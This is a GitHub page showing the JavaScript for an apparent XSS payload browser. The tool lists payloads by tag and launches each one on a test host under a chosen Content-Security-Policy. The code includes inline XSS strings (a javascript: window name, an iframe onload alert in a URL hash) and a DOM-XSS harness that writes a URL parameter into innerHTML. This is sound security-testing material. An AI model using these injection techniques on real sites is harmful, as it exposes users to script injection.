-
Notifications
You must be signed in to change notification settings - Fork 192
/
main.js
191 lines (153 loc) · 5.26 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
const checkboxesForm = document.getElementById('checkboxesForm');
const payloadsDiv = document.getElementById("payloads")
const enc = encodeURIComponent;
for (const tag of Object.values(TAGS)) {
let feature = document.createElement('div');
feature.className = "feature";
checkboxesForm.append(feature);
let checkbox = document.createElement('input');
checkbox.type = 'checkbox';
checkbox.checked = 1;
checkbox.id = tag;
feature.appendChild(checkbox);
let label = document.createElement('label');
label.htmlFor = tag;
label.innerHTML = tag;
feature.appendChild(label);
}
function execute_payload(payload, type = "reflected") {
const XSS_URL_BASE = 'https://terjanq.me/xss.php'
let name = '';
let hash = '';
let contentType = '';
let referrer = '';
const csp_dict = {
'default-src': [`'none'`],
};
function add_to_csp(key, value) {
if (!csp_dict[key]) csp_dict[key] = [];
csp_dict[key].push(value);
}
function construct_csp() {
let csp_string = "";
for (let key in csp_dict) {
csp_string += `${key} ${csp_dict[key].join(' ')};`;
}
return csp_string;
}
function construct_xss_url(query_dict, hash = '') {
const url = new URL(XSS_URL_BASE);
for (let key in query_dict) {
if (query_dict[key] === '') continue;
url.searchParams.append(key, query_dict[key]);
}
if (hash !== '') {
url.hash = hash
}
return url.toString();
}
if (payload.tags.includes(TAGS.controlsName)) {
name = 'javascript:alert(document.domain)//'
}
if (payload.tags.includes(TAGS.inlineStyleAllow)) {
add_to_csp('style-src', "'unsafe-inline'");
}
if (payload.tags.includes(TAGS.scripts)) {
add_to_csp('script-src', "http: https:");
}
if (payload.tags.includes(TAGS.unsafeEval)) {
add_to_csp('script-src', `'unsafe-eval'`)
}
if (payload.tags.includes(TAGS.unsafeInline)) {
add_to_csp('script-src', `'unsafe-inline'`)
}
if (payload.tags.includes(TAGS.iframes)) {
add_to_csp('frame-src', 'http: https:');
referrer = 'origin';
}
if (payload.tags.includes(TAGS.controlsURL)) {
hash = `#/*<iframe/onload="/*'/**/;alert(document.domain)//">`
}
// add content-type to the page so the nj.rs will display appriopriate content-type
if (payload.tags.includes(TAGS.scripts)) {
contentType = 'application/javascript;charset=UTF-8'
}
let html = payload.html;
let dom_xss = ''
if (type === 'DOM') {
add_to_csp('script-src', "data:");
let payload_content = `
onload = () => {
url = new URL(location.href);
payload.innerHTML = url.searchParams.get('dom_xss');
};`
let payload_src = `data:text/javascript,${encodeURIComponent(payload_content)}`
html = `<html><head></head><body><div id=payload></div></body></html><script src="${payload_src}"></script>`;
dom_xss = payload.html
}
const xss_url = construct_xss_url({
dom_xss: dom_xss,
html: html,
csp: construct_csp(),
'__content-type': contentType,
referrer: referrer
}, hash)
x = open(xss_url, name);
}
function createPayloads(payloads) {
payloads.sort((x, y) => x.html.length - y.html.length)
for (let payload of payloads) {
let div = document.createElement('div');
div.className = "payload";
let pre = document.createElement('pre');
let code = document.createElement('code')
pre.appendChild(code)
div.appendChild(pre)
code.innerText = payload.html;
code.classList.add('xml', 'hljs');
hljs.highlightBlock(code);
let counter = document.createElement('span');
counter.className = 'counter';
counter.innerText = payload.html.length;
div.appendChild(counter);
let pocs = document.createElement('div');
pocs.className = 'pocs';
div.appendChild(pocs);
let pocReflected = document.createElement('span');
pocReflected.className = 'poc-reflected';
pocs.appendChild(pocReflected);
let pocDOM = document.createElement('span');
pocDOM.className = 'poc-dom';
pocs.appendChild(pocDOM);
pocReflected.onclick = _ => execute_payload(payload, 'reflected')
pocDOM.onclick = _ => execute_payload(payload, 'DOM')
let tags = document.createElement('div');
tags.className = "tags"
div.appendChild(tags);
for (let tag of payload.tags) {
let span = document.createElement('span');
span.className = "tag";
span.innerText = tag;
tags.appendChild(span)
}
payloadsDiv.appendChild(div)
}
}
function process(e) {
payloadsDiv.innerHTML = '';
const checkboxes = checkboxesForm.querySelectorAll('input[type=checkbox]')
let tags = []
for (let checkbox of checkboxes) {
if (checkbox.checked) {
tags.push(checkbox.id)
}
}
let payloads = []
for (const payload of PAYLOADS) {
if (payload.tags.every(t => tags.includes(t))) {
payloads.push(payload)
}
}
createPayloads(payloads);
}
process()